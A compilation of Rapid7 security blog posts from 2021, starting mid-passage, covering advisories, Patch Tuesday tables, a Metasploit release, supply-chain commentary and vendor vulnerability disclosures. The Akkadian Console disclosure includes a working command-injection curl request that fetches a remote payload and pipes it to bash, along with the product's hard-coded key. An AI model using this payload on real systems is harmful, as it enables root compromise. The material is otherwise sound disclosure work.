But for all of us, these vulnerabilities are a reminder that security requires a proactive mindset — and failing to cover the basics like upgrading to supported products and installing security updates leaves organizations at risk when a particularly thorny set of attack chains rears its head.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

[The Lost Bots] Episode 6: D&R + VM = WINNING!

2021-10-04 Rapid7

Post Syndicated from Rapid7 original https://blog.rapid7.com/2021/10/04/the-lost-bots-episode-6-d-r-vm-winning/

[The Lost Bots] Episode 6: D&R + VM = WINNING!

Welcome back to The Lost Bots, a vlog series where Rapid7 Detection and Response Practice Advisor Jeffrey Gardner talks all things security with fellow industry experts. In this episode, we’re joined by fellow Practice Advisor Devin Krugly to discuss how Detection and Response + Vulnerability Management = a winning combination. Often viewed as two separate and distinct entities, Jeffrey and Devin explore how the combination can greatly improve your response efforts and the ways in which you can set up a successful vulnerability management program.

[The Lost Bots] Episode 6: D&R + VM = WINNING!

Stay tuned for future episodes of The Lost Bots! Coming soon: Jeffrey discusses veterans in cybersecurity with fellow security professionals who are vets themselves.

Critical vCenter Server File Upload Vulnerability (CVE-2021-22005)

2021-09-21 Glenn Thorpe

Post Syndicated from Glenn Thorpe original https://blog.rapid7.com/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/

Description

Critical vCenter Server File Upload Vulnerability (CVE-2021-22005)

On Tuesday, September 21, 2021, VMware published security advisory VMSA-2021-0020, which includes details on CVE-2021-22005, a critical file upload vulnerability (CVSSv3 9.8) in vCenter Server that allows remote code execution (RCE) on the appliance. Successful exploitation of this vulnerability is achieved simply by uploading a specially crafted file via port 433 “regardless of the configuration settings of vCenter Server.”

VMware has published an FAQ outlining the details of this vulnerability and makes it clear that this should be patched “immediately.” A workaround is also being provided by VMware — however, its use is not being recommended and should only be used as a temporary solution.

Affected products

vCenter Server versions 6.7 and 7.0
Cloud Foundation (vCenter Server) 3.x, 4.x

Guidance

We echo VMware’s advice that impacted servers should be patched right away. While there are currently no reports of exploitation, we expect this to quickly change within days — just as previous critical vCenter vulnerabilities did (CVE-2021-21985, CVE-2021-21972). Additionally, Rapid7 recommends that, as a general practice, network access to critical organizational infrastructure only be allowed via VPN and never open to the public internet.

We will update this post as more information becomes available, such as information on exploitation.

Rapid7 customers

A vulnerability check for CVE-2021-22005 is under development and will be available to InsightVM and Nexpose customers in an upcoming content release pending the QA process.

In the meantime, InsightVM customers can use Query Builder to find assets that have vCenter Server installed by creating the following query: software.description contains vCenter Server. Rapid7 Nexpose customers can create a Dynamic Asset Group based on a filtered asset search for Software name contains vCenter Server.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Patch Tuesday – September 2021

2021-09-15 Adam Bunn

Post Syndicated from Adam Bunn original https://blog.rapid7.com/2021/09/15/patch-tuesday-september-2021/

Patch Tuesday - September 2021

Microsoft has fixed a total of 60 vulnerabilities this month, including two publicly disclosed 0-days. Fortunately there are only a few issues rated critical this month with the vast majority of the remainder being rated important. Here’s three big things you can go patch right now.

MSHTML Remote Code Execution 0-day (CVE-2021-40444)

The hot topic this month is the most recent remote code execution 0-day vulnerability in MSHTML. When it was first discovered it was only being used in a limited number of attacks, however this quickly changed once instructions for exploiting the vulnerability were published online. This vulnerability was severe enough to warrant publishing patches for older operating systems including Windows 7, Windows Server 2008 R2, and Windows Server 2008. Now that updates have been published for this vulnerability they should be applied as soon as possible.

Windows DNS Local Elevation of Privilege (CVE-2021-36968)

This is the second publicly disclosed vulnerability updated this month. While the details surrounding this CVE are sparse, we do know that Microsoft has not detected exploitation in the wild.

Updates to PrintNightmare (CVE-2021-1678)

Microsoft has made additional patches available for older operating systems. If you were previously unable to patch against this vulnerability you may want to review this new information.

Summary Graphs

Summary Tables

Azure Vulnerabilities

CVE	Title	Exploited	Disclosed	CVSS3	FAQ
CVE-2021-38647	Open Management Infrastructure Remote Code Execution Vulnerability	No	No	9.8	Yes
CVE-2021-38645	Open Management Infrastructure Elevation of Privilege Vulnerability	No	No	7.8	Yes
CVE-2021-38648	Open Management Infrastructure Elevation of Privilege Vulnerability	No	No	7.8	Yes
CVE-2021-38649	Open Management Infrastructure Elevation of Privilege Vulnerability	No	No	7	Yes
CVE-2021-40448	Microsoft Accessibility Insights for Android Information Disclosure Vulnerability	No	No	6.3	Yes
CVE-2021-36956	Azure Sphere Information Disclosure Vulnerability	No	No	4.4	Yes

Browser Vulnerabilities

CVE	Title	Exploited	Disclosed	CVSS3	FAQ
CVE-2021-38642	Microsoft Edge for iOS Spoofing Vulnerability	No	No	6.1	No
CVE-2021-38641	Microsoft Edge for Android Spoofing Vulnerability	No	No	6.1	No
CVE-2021-26439	Microsoft Edge for Android Information Disclosure Vulnerability	No	No	4.6	No
CVE-2021-38669	Microsoft Edge (Chromium-based) Tampering Vulnerability	No	No	6.4	Yes
CVE-2021-26436	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	No	No	6.1	No
CVE-2021-36930	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	No	No	5.3	No
CVE-2021-30632	Chromium: CVE-2021-30632 Out of bounds write in V8	No	No		Yes
CVE-2021-30624	Chromium: CVE-2021-30624 Use after free in Autofill	No	No		Yes
CVE-2021-30623	Chromium: CVE-2021-30623 Use after free in Bookmarks	No	No		Yes
CVE-2021-30622	Chromium: CVE-2021-30622 Use after free in WebApp Installs	No	No		Yes
CVE-2021-30621	Chromium: CVE-2021-30621 UI Spoofing in Autofill	No	No		Yes
CVE-2021-30620	Chromium: CVE-2021-30620 Insufficient policy enforcement in Blink	No	No		Yes
CVE-2021-30619	Chromium: CVE-2021-30619 UI Spoofing in Autofill	No	No		Yes
CVE-2021-30618	Chromium: CVE-2021-30618 Inappropriate implementation in DevTools	No	No		Yes
CVE-2021-30617	Chromium: CVE-2021-30617 Policy bypass in Blink	No	No		Yes
CVE-2021-30616	Chromium: CVE-2021-30616 Use after free in Media	No	No		Yes
CVE-2021-30615	Chromium: CVE-2021-30615 Cross-origin data leak in Navigation	No	No		Yes
CVE-2021-30614	Chromium: CVE-2021-30614 Heap buffer overflow in TabStrip	No	No		Yes
CVE-2021-30613	Chromium: CVE-2021-30613 Use after free in Base internals	No	No		Yes
CVE-2021-30612	Chromium: CVE-2021-30612 Use after free in WebRTC	No	No		Yes
CVE-2021-30611	Chromium: CVE-2021-30611 Use after free in WebRTC	No	No		Yes
CVE-2021-30610	Chromium: CVE-2021-30610 Use after free in Extensions API	No	No		Yes
CVE-2021-30609	Chromium: CVE-2021-30609 Use after free in Sign-In	No	No		Yes
CVE-2021-30608	Chromium: CVE-2021-30608 Use after free in Web Share	No	No		Yes
CVE-2021-30607	Chromium: CVE-2021-30607 Use after free in Permissions	No	No		Yes
CVE-2021-30606	Chromium: CVE-2021-30606 Use after free in Blink	No	No		Yes

Developer Tools Vulnerabilities

CVE	Title	Exploited	Disclosed	CVSS3	FAQ
CVE-2021-36952	Visual Studio Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-26434	Visual Studio Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-26437	Visual Studio Code Spoofing Vulnerability	No	No	5.5	No

ESU Vulnerabilities

CVE	Title	Exploited	Disclosed	CVSS3	FAQ
CVE-2021-38625	Windows Kernel Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-38626	Windows Kernel Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-36968	Windows DNS Elevation of Privilege Vulnerability	No	Yes	7.8	No

Microsoft Dynamics Vulnerabilities

CVE	Title	Exploited	Disclosed	CVSS3	FAQ
CVE-2021-40440	Microsoft Dynamics Business Central Cross-site Scripting Vulnerability	No	No	5.4	No

Microsoft Office Vulnerabilities

CVE	Title	Exploited	Disclosed	CVSS3	FAQ
CVE-2021-38656	Microsoft Word Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-38651	Microsoft SharePoint Server Spoofing Vulnerability	No	No	7.6	No
CVE-2021-38652	Microsoft SharePoint Server Spoofing Vulnerability	No	No	7.6	No
CVE-2021-38653	Microsoft Office Visio Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-38654	Microsoft Office Visio Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-38650	Microsoft Office Spoofing Vulnerability	No	No	7.6	Yes
CVE-2021-38659	Microsoft Office Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-38658	Microsoft Office Graphics Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-38660	Microsoft Office Graphics Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-38657	Microsoft Office Graphics Component Information Disclosure Vulnerability	No	No	6.1	Yes
CVE-2021-38646	Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-38655	Microsoft Excel Remote Code Execution Vulnerability	No	No	7.8	Yes

Windows Vulnerabilities

CVE	Title	Exploited	Disclosed	CVSS3	FAQ
CVE-2021-36967	Windows WLAN AutoConfig Service Elevation of Privilege Vulnerability	No	No	8	No
CVE-2021-36966	Windows Subsystem for Linux Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-38637	Windows Storage Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-36972	Windows SMB Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-36974	Windows SMB Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-36973	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-38624	Windows Key Storage Provider Security Feature Bypass Vulnerability	No	No	6.5	Yes
CVE-2021-36954	Windows Bind Filter Driver Elevation of Privilege Vulnerability	No	No	8.8	No
CVE-2021-36975	Win32k Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-38634	Microsoft Windows Update Client Elevation of Privilege Vulnerability	No	No	7.1	No
CVE-2021-38644	Microsoft MPEG-2 Video Extension Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-38661	HEVC Video Extensions Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-38632	BitLocker Security Feature Bypass Vulnerability	No	No	5.7	Yes

Windows ESU Vulnerabilities

CVE	Title	Exploited	Disclosed	CVSS3	FAQ
CVE-2021-36965	Windows WLAN AutoConfig Service Remote Code Execution Vulnerability	No	No	8.8	No
CVE-2021-26435	Windows Scripting Engine Memory Corruption Vulnerability	No	No	8.1	Yes
CVE-2021-36960	Windows SMB Information Disclosure Vulnerability	No	No	7.5	Yes
CVE-2021-36969	Windows Redirected Drive Buffering SubSystem Driver Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-38635	Windows Redirected Drive Buffering SubSystem Driver Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-38636	Windows Redirected Drive Buffering SubSystem Driver Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-38667	Windows Print Spooler Elevation of Privilege Vulnerability	No	No	7.8	Yes
CVE-2021-38671	Windows Print Spooler Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-40447	Windows Print Spooler Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-36962	Windows Installer Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-36961	Windows Installer Denial of Service Vulnerability	No	No	5.5	No
CVE-2021-36964	Windows Event Tracing Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-38630	Windows Event Tracing Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-36955	Windows Common Log File System Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-36963	Windows Common Log File System Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-38633	Windows Common Log File System Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-36959	Windows Authenticode Spoofing Vulnerability	No	No	5.5	No
CVE-2021-38629	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	No	No	6.5	Yes
CVE-2021-38628	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-38638	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-38639	Win32k Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-40444	Microsoft MSHTML Remote Code Execution Vulnerability	Yes	Yes	8.8	Yes

Metasploit Wrap-Up

2021-09-10 Louis Sato

Post Syndicated from Louis Sato original https://blog.rapid7.com/2021/09/10/metasploit-wrap-up-129/

Confluence Server OGNL Injection

Metasploit Wrap-Up

Our own wvu along with Jang added a module that exploits an OGNL injection (CVE-2021-26804)in Atlassian Confluence’s WebWork component to execute commands as the Tomcat user. CVE-2021-26804 is a critical remote code execution vulnerability in Confluence Server and Confluence Data Center and is actively being exploited in the wild. Initial discovery of this exploit was by Benny Jacob (SnowyOwl).

More Enhancements

In addition to the module, we would like to highlight some of the enhancements that have been added for this release. Contributor e2002e added the OUTFILE and DATABASE options to the zoomeye_search module allowing users to save results to a local file or local database along with improving the output of the module to provide better information about the target. Our own dwelch-r7 has added support for fully interactive shells against Linux environments with shell -it. In order to use this functionality, users will have to enable the feature flag with features set fully_interactive_shells true. Contributor pingport80 has added powershell support for write_file method that is binary safe and has also replaced explicit cat calls with file reads from the file library to provide broader support.

New module content (1)

Atlassian Confluence WebWork OGNL Injection by wvu, Benny Jacob, and Jang, which exploits CVE-2021-26084 – This adds an exploit module targeting an OGNL injection vulnerability (CVE-2021-26084) in Atlassian Confluence’s WebWork component to execute commands as the Tomcat user.

Enhancements and features

#15278 from e2002e – The zoomeye_search module has been enhanced to add the OUTFILE and DATABASE options, which allow users to save results to a local file or to the local database respectively. Additionally the output saved has been improved to provide better information about the target and additional error handling has been added to better handle potential edge cases.
#15522 from dwelch-r7 – Adds support for fully interactive shells against Linux environments with shell -it. This functionality is behind a feature flag and can be enabled with features set fully_interactive_shells true
#15560 from pingport80 – This PR add powershell support for write_file method that is binary safe.
#15627 from pingport80 – This PR removes explicit cat calls and replaces them with file reads from the file library so that they have broader support.

Bugs fixed

#15634 from maikthulhu – This PR fixes an issue in exploit/multi/misc/erlang_cookie_rce where a missing bitwise flag caused the exploit to fail in some circumstances.
#15636 from adfoster-r7 – Fixes a regression in datastore serialization that caused some event processing to fail.
#15637 from adfoster-r7 – Fixes a regression issue were Metasploit incorrectly marked ipv6 address as having an ‘invalid protocol’
#15639 from gwillcox-r7 – This fixes a bug in the rename_files method that would occur when run on a non-Windows shell session.
#15640 from adfoster-r7 – Updates modules/auxiliary/gather/office365userenum.py to require python3
#15652 from jmartin-r7 – A missing dependency, py3-pip, was preventing certain external modules such as auxiliary/gather/office365userenum from working due to requests requiring py3-pip to run properly. This has been fixed by updating the Docker container to install the missing py3-pip dependency.
#15654 from space-r7 – A bug has been fixed in lib/msf/core/payload/windows/encrypted_reverse_tcp.rb whereby a call to recv() was not being passed the proper arguments to receive the full payload before returning. This could result in cases where only part of the payload was received before continuing, which would have resulted in a crash. This has been fixed by adding a flag to the recv() function call to ensure it receives the entire payload before returning.
#15655 from adfoster-r7 – This cleans up the MySQL client-side options that are used within the library code.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

Security at Scale in the Open-Source Supply Chain

2021-09-08 Aaron Wells

Post Syndicated from Aaron Wells original https://blog.rapid7.com/2021/09/08/security-at-scale-in-the-open-source-supply-chain/

Security at Scale in the Open-Source Supply Chain

“We’ve all heard of paying it forward, but this is ridiculous!” That’s probably what most of us think when one of our partners or vendors inadvertently leaves an open door into our shared supply-chain network; an attacker can enter at any time. Well, we probably think in slightly more expletive-laden terms, but nonetheless, no organization or company wants to be the focal point of blame from a multitude of (formerly) trusting partners or vendors.

Open-source software (OSS) is particularly susceptible to these vulnerabilities. OSS is simultaneously incredible and incredibly vulnerable. In fact, there are so many risks that can result from largely structuring operations on OSS that vendors may not prioritize patching a vulnerability once their security team is alerted. And can we blame them? They want to continue operations and feed the bottom line, not put a pause on operations to forever chase vulnerabilities and patch them one-by-one. But that leaves all of their supply-chain partners open to exploitation. What to do?

The supply-chain scene

Throughout a 12-month timeframe spanning 2019-2020, attacks aimed at OSS increased 430%, according to a study by Sonatype. It’s not quite as simple as “gain access to one, gain access to all,” but if a bad actor is properly motivated, this is exactly what can happen. In terms of motivation, supply-chain attackers can fall into 2 groups:

Bandwagoners: Attackers falling into this group will often wait for public disclosure of supply-chain vulnerabilities.
Ahead-of-the-curvers: Attackers falling into this group will actively hunt for and exploit vulnerabilities, saddling the unfortunate organization with malware and threatening its entire supply chain.

To add to the favor of attackers, the same Sonatype study also found that a shockingly low percentage of security organizations do not even learn of new open-source vulnerabilities in the short term after they’re disclosed. Sure, everyone’s busy and has their priorities. But that ethos exists while these vulnerabilities are being exploited. Perhaps the project was shipped on time, but malicious code was simultaneously being injected somewhere along the line. Then, instead of continuing with forward progress, remediation becomes the name of the game.

According to the Sonatype report, there were more than a trillion open-source component and container download requests in 2020 alone. The most important aspects to consider then are the security history of your component(s) and how dependents along your supply chain are using them. Obviously, this can be overwhelming to think about, but with researchers increasingly focused on remediation at scale, the future of supply-chain security is starting to look brighter.

Learn more about open-source security + win some cash!

Submit to the 2021 Velociraptor Contributor Competition

Securing at scale

Instead of the one-by-one approach to patching, security professionals need to start thinking about securing entire classes of vulnerabilities. It’s true that there is no current catch-all mechanism for such efficient action. But researchers can begin to work together to create methodologies that enable security organizations to better prioritize vulnerability risk management (VRM) instead of filing each one away to patch at a later date.

Of course, preventive security measures — inclusive of our shift-left culture — can help to mitigate the need to scale such remediation actions; the fact remains though that bad actors will always find a way. Therefore, until there are effective ways to eliminate large swaths of vulnerabilities at once, there is a growing need for teams to adhere to current best practices and measures like:

Dedicating time and resources to help ensure code is secure all along the chain
Thinking holistically about the security of open-source code with regard to the CI/CD lifecycle and the entire stack
Being willing to pitch in and develop coordinated, industry-wide efforts to improve the security of OSS at scale
Educating outside stakeholders on just how interdependent supply-chain-linked organizations are

As supply-chain attackers refine their methods to target ever-larger companies, the pressure is on developers to refine their understanding of how each and every contributor on a team can expose the organization and its partners along the chain, as The Linux Foundation points out. However, is this too much to put on the shoulders of DevOps? Shifting left to a DevSecOps culture is great and all, but teams are now being asked to think in the context of securing an entire supply chain’s worth of output.

This is why the industry at large must continue the push for research into new ways to eliminate entire classes of vulnerabilities. That’s a seismic shift left that will only help developers — and really, everyone — put more energy into things other than security.

Monitoring mindfully

While a proliferation of OSS components — as advantageous as they are for collaboration at scale — can make a supply chain vulnerable, the power of one open-source community can help monitor another open-source community. Velociraptor by Rapid7 is an open-source digital forensics and incident response (DFIR) platform.

This powerful DFIR tool thrives in loaded conditions. It can quickly scale incident response and monitoring and help security organizations to better prioritize remediation — actions well-suited to address the scale of modern supply-chain attacks. How quickly organizations choose to respond to incidents or vulnerabilities is, of course, up to them.

Supply chain security is ever-evolving

If one link in the chain is attacked via a long-languishing vulnerability whose risk has increasingly become harder to manage, it almost goes without saying that company’s partners or vendors immediately lose confidence in it because the entire chain is now at risk. The public’s confidence likely will follow.

There are any number of preventive measures an interdependent security organization can implement. However, the need for further research into scaling security for whole classes of vulnerabilities comes at a crucial time as global supply-chain attacks more frequently occur in all shapes and sizes.

Want to contribute to a more secure open-source future?

Submit to the 2021 Velociraptor Contributor Competition

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)

2021-09-07 Tod Beardsley

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/09/07/cve-2021-3546-78-akkadian-console-server-vulnerabilities-fixed/

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)

Over the course of routine security research, Rapid7 researchers Jonathan Peterson, Cale Black, William Vu, and Adam Cammack discovered that the Akkadian Console (often referred to as “ACO”) version 4.7, a call manager solution, is affected by two vulnerabilities. The first, CVE-2021-35468, allows root system command execution with a single authenticated POST request, and CVE-2021-35467 allows for the decryption of data encrypted by the application, which results in the arbitrary creation of sessions and the uncovering of any other sensitive data stored within the application. Combined, an unauthenticated attacker could gain remote, root privileges to a vulnerable instance of Akkadian Console Server.

CVE Identifier	CWE Identifier	Base CVSS score (Severity)	Remediation
CVE-2021-35467	Title	CWE-321: Use of Hard-Coded Cryptographic Key	Fixed in Version 4.9
CVE-2021-35468	Text	CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)	Fixed in Version 4.9

Product Description

Akkadian Console (ACO) is a call management system allowing users to handle incoming calls with a centralized management web portal. More information is available at the vendor site for ACO.

Credit

These issues were discovered by Jonathan Peterson (@deadjakk), Cale Black, William Vu, and Adam Cammack, all of Rapid7, and it is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The following were observed and tested on the Linux build of the Akkadian Console Server, version 4.7.0 (build 1f7ad4b) (date of creation: Feb 2 2021 per naming convention).

CVE-2021-35467: Akkadian Console Server Hard-Coded Encryption Key

Using DnSpy to decompile the bytecode of ‘acoserver.dll’ on the Akkadian Console virtual appliance, Rapid7 researchers identified that the Akkadian Console was using a static encryption key, “0c8584b9-020b-4db4-9247-22dd329d53d7”, for encryption and decryption of sensitive data. Specifically, researchers observed at least the following data encrypted using this hardcoded string:

User sessions (the most critical of the set, as outlined below)
FTP Passwords
LDAP credentials
SMTP credentials
Miscellaneous service credentials

The string constant that is used to encrypt/decrypt this data is hard-coded into the ‘primary’ C# library. So anyone that knows the string, or can learn the string by interrogating a shipping version of ‘acoserver.dll’ of the server, is able to decrypt and recover these values.

In addition to being able to recover the saved credentials of various services, Rapid7 researchers were able to write encrypted user sessions for the Akkadian Console management portal with arbitrary data, granting access to administrative functionality of the application.

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED) — **The hardcoded key as shown in the decompiled code of the ACO server**

The TokenService of acoserver.dll uses a hardcoded string to encrypt and decrypt user session information, as well as other data in the application that uses the ‘Encrypt’ method.

As shown in the function below, the application makes use of an ECB cipher, as well as PKCS7 padding to decrypt (and encrypt) this sensitive data.

The image below shows an encrypted and decrypted version of an ‘Authorization’ header displaying possible variables available for manipulation. Using a short python script, one is able to create a session token with arbitrary values and then use it to connect to the Akkadian web console as an authenticated user.

Using the decrypted values of a session token, a ‘custom’ token can be created, substituting whatever values we want with a recent timestamp to successfully authenticate to the web portal.

The figure below shows this technique being used to issue a request to a restricted web endpoint that responds with the encrypted passwords of the user account. Since the same password is used to encrypt most things in the application (sessions, saved passwords for FTP, backups, LDAP, etc.), we can decrypt the encrypted passwords sent back in the response by certain portions of the application:

This vulnerability can be used with the next vulnerability, CVE-2021-35468, to achieve remote command execution.

CVE-2021-35468: Akkadian Console Server OS Command Injection

The Akkadian Console application provides SSL certificate generation. See the corresponding web form in the screenshot below:

The way the application generates these certificates is by issuing a system command using ‘/bin/bash’ to run an unsanitized ‘openssl’ command constructed from the parameters of the user’s request.

The screenshot below shows this portion of the code as it exists within the decompiled ‘acoserver.dll’.

Side Note: In newer versions (likely 4.7+), this “Authorization” header is actually validated. In older versions of the Akkadian Console, this API endpoint does not appear to actually enforce authorization and instead only checks for the presence of the “Authorization” header. Therefore in these older, affected versions, this endpoint and the related vulnerability could be accessed directly without the crafting of the header using CVE-2021-35467. Exact affected versions have not been researched.

The below curl command will cause the Akkadian Console server to itself run its own curl command (in the Organization field) and pipe the results to bash.

curl -i -s -k -X $'POST' \
   -H $'Host: 192.168.200.216' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0' -H $'Authorization: <OMITTED>' -H $'Content-Type: application/json' -H $'Content-Length: 231' \
   --data-binary $'{\"AlternativeNames\": [\"assdf.com\", \"asdf.com\"], \"CommonName\": \"mydomano.com\", \"Country\": \"US\", \"State\": \";;;;;`\", \"City\": \";;;``;;`\", \"Organization\": \";;;`curl 192.168.200.1/payload|bash`;;`\", \"OrganizationUnit\": \";;\", \"Email\": \"\"}' \
   $'https://192.168.200.216/api/acoweb/generateCertificate'

Once this is received by ACO, the named curl payload is executed, and a shell is spawned, but any operating system command can be executed.

Impact

CVE-2021-35467, by itself, can be exploited to allow an unauthenticated user administrative access to the application. Given that this device supports LDAP-related functionality, an attacker could then leverage this access to pivot to other assets in the organization via Active Directory via stored LDAP accounts.

CVE-2021-35468 could allow any authenticated user to execute operating system level commands with root privileges.

By combining CVE-2021-35467 and CVE-2021-35468, an unauthenticated user can first establish themselves as an authenticated user by crafting an arbitrary session, then execute commands on ACO’s host operating system as root. From there, the attacker can install any malicious software of their choice on the affected device.

Remediation

Users of Akkadian Console should update to 4.9, which has addressed these issues. In the absence of an upgrade, users of Akkadian Console version 4.7 or older should only expose the web interface to trusted networks — notably, not the internet.

Disclosure Timeline

April, 2021: Discovery by Jonathan Peterson and friends at Rapid7
Wed, Jun 16, 2021: Initial disclosure to the vendor
Wed, Jun 23, 2021: Updated details disclosed to the vendor
Tue, Jul 13, 2021: Vendor indicated that version 4.9 fixed the issues
Tue, Aug 3, 2021: Vendor provided a link to release notes for 4.9
Tue, Sep 7, 2021: Disclosure published

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2021-3927[67]: Fortress S03 WiFi Home Security System Vulnerabilities

2021-08-31 Tod Beardsley

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/08/31/cve-2021-3927-67-fortress-s03-wifi-home-security-system-vulnerabilities/

CVE-2021-3927[67]: Fortress S03 WiFi Home Security System Vulnerabilities

Rapid7 researcher Arvind Vishwakarma discovered multiple vulnerabilities in the Fortress S03 WiFi Home Security System. These vulnerabilities could result in unauthorized access to control or modify system behavior, and access to unencrypted information in storage or in transit. CVE-2021-39276 describes an instance of CWE-287; specifically, it describes an insecure cloud API deployment which allows unauthenticated users to trivially learn a secret that can then be used to alter the system’s functionality remotely. It has an initial CVSS score of 5.3 (medium). CVE-2021-39277 describes an instance of CWE-294, a vulnerability where anyone within Radio Frequency (RF) signal range could capture and replay RF signals to alter systems behavior, and has an initial CVSS score of 5.7.

Product Description

The Fortress S03 WiFi Home Security System is a do it yourself (DIY) consumer grade home security system which leverages WiFi and RF communication to monitor doors, windows, and motion detection to spot possible intruders. Fortress can also electronically monitor the system for you, for a monthly fee. More information about the product can be found at the vendor’s website.

Credit

These issues were discovered by Rapid7 researcher Arvind Vishwakarma and are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

What follows are details regarding the two disclosed vulnerabilities. Generally speaking, these issues are trivially easy to exploit by motivated attackers who already have some knowledge of the target.

CVE-2021-39276: Unauthenticated API Access

If a malicious actor knows a user’s email address, they can use it to query the cloud-based API to return an International Mobile Equipment Identity (IMEI) number, which appears to also serve as the device’s serial number. The following post request structure is used to make this unauthenticated query and return the IMEI:

CVE-2021-3927[67]: Fortress S03 WiFi Home Security System Vulnerabilities

With a device IMEI number and the user’s email address, it is then possible for a malicious actor to make changes to the system, including disarming its alarm. To disarm the system, the following unauthenticated POST can be sent to the API:

CVE-2021-39277: Vulnerable to RF Signal Replay Attack

The system under test was discovered to be vulnerable to an RF replay attack. When a radio-controlled device has not properly implemented encryption or rotating key protections, this can allow an attacker to capture command-and-control signals over the air and then replay those radio signals in order to perform a function on an associated device.

As a test example, the RF signals used to communicate between the Key Fobs, Door/Window Contact Sensors, and the Fortress Console were identified in the 433 MHz band. Using a software defined radio (SDR) device, the researcher was able to capture normal operations of the device “arm” and “disarm” commands. Then, replaying the captured RF signal communication command would arm and disarm the system without further user interaction.

Impact

For CVE-2021-39276, an attacker can use a Fortress S03 user’s email address to easily disarm the installed home alarm without the user’s knowledge. While this is not usually much of a concern for random, opportunistic home invaders, this is particularly concerning when the attacker already knows the victim well, such as an ex-spouse or other estranged relationship partner.

CVE-2021-39277 presents similar problems but requires less prior knowledge of the victim, as the attacker can simply stake out the property and wait for the victim to use the RF-controlled devices within radio range. The attacker can then replay the “disarm” command later, without the victim’s knowledge.

Mitigations

In the absence of a patch or update, to work around the IMEI number exposure described in CVE-2021-39276, users could configure their alarm systems with a unique, one-time email address. Many email systems allow for “plus tagging” an email address. For example, a user could register “[email protected]” and treat that plus-tagged email address as a stand-in for a password.

For CVE-2021-39277, there seems to be very little a user can do to mitigate the effects of the RF replay issues, absent a firmware update to enforce cryptographic controls on RF signals. Users concerned about this exposure should avoid using key fobs and other RF devices linked to their home security systems.

Disclosure Timeline

May, 2021: Issues discovered by Arvind Vishwakarma of Rapid7
Thu, May 13, 2021: Initial contact to Fortress support email
Thu, May 13, 2021: Ticket #200781 created
Mon, May 24, 2021: Ticket #200781 closed by Fortress
Wed, Aug 18, 2021: Rapid7 created a follow up ticket, #203001, with vulnerability details and a reiteration of intent to publish
Tue, Aug 31, 2021: Published disclosure

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Cybercriminals Selling Access to Compromised Networks: 3 Surprising Research Findings

2021-08-24 Paul Prudhomme

Post Syndicated from Paul Prudhomme original https://blog.rapid7.com/2021/08/24/cybercriminals-selling-access-to-compromised-networks-3-surprising-research-findings/

Cybercriminals Selling Access to Compromised Networks: 3 Surprising Research Findings

Cybercriminals are innovative, always finding ways to adapt to new circumstances and opportunities. The proof of this can be seen in the rise of a certain variety of activity on the dark web: the sale of access to compromised networks.

This type of dark web activity has existed for decades, but it matured and began to truly thrive amid the COVID-19 global pandemic. The worldwide shift to a remote workforce gave cybercriminals more attack surface to exploit, which fueled sales on underground criminal websites, where buyers and sellers transfer network access to compromised enterprises and organizations to turn a profit.

Having witnessed this sharp rise in breach sales in the cybercriminal ecosystem, IntSights, a Rapid7 company, decided to analyze why and how criminals sell their network access, with an eye toward understanding how to prevent these network compromise events from happening in the first place.

We have compiled our network compromise research, as well as our prevention and mitigation best practices, in the brand-new white paper “Selling Breaches: The Transfer of Enterprise Network Access on Criminal Forums.”

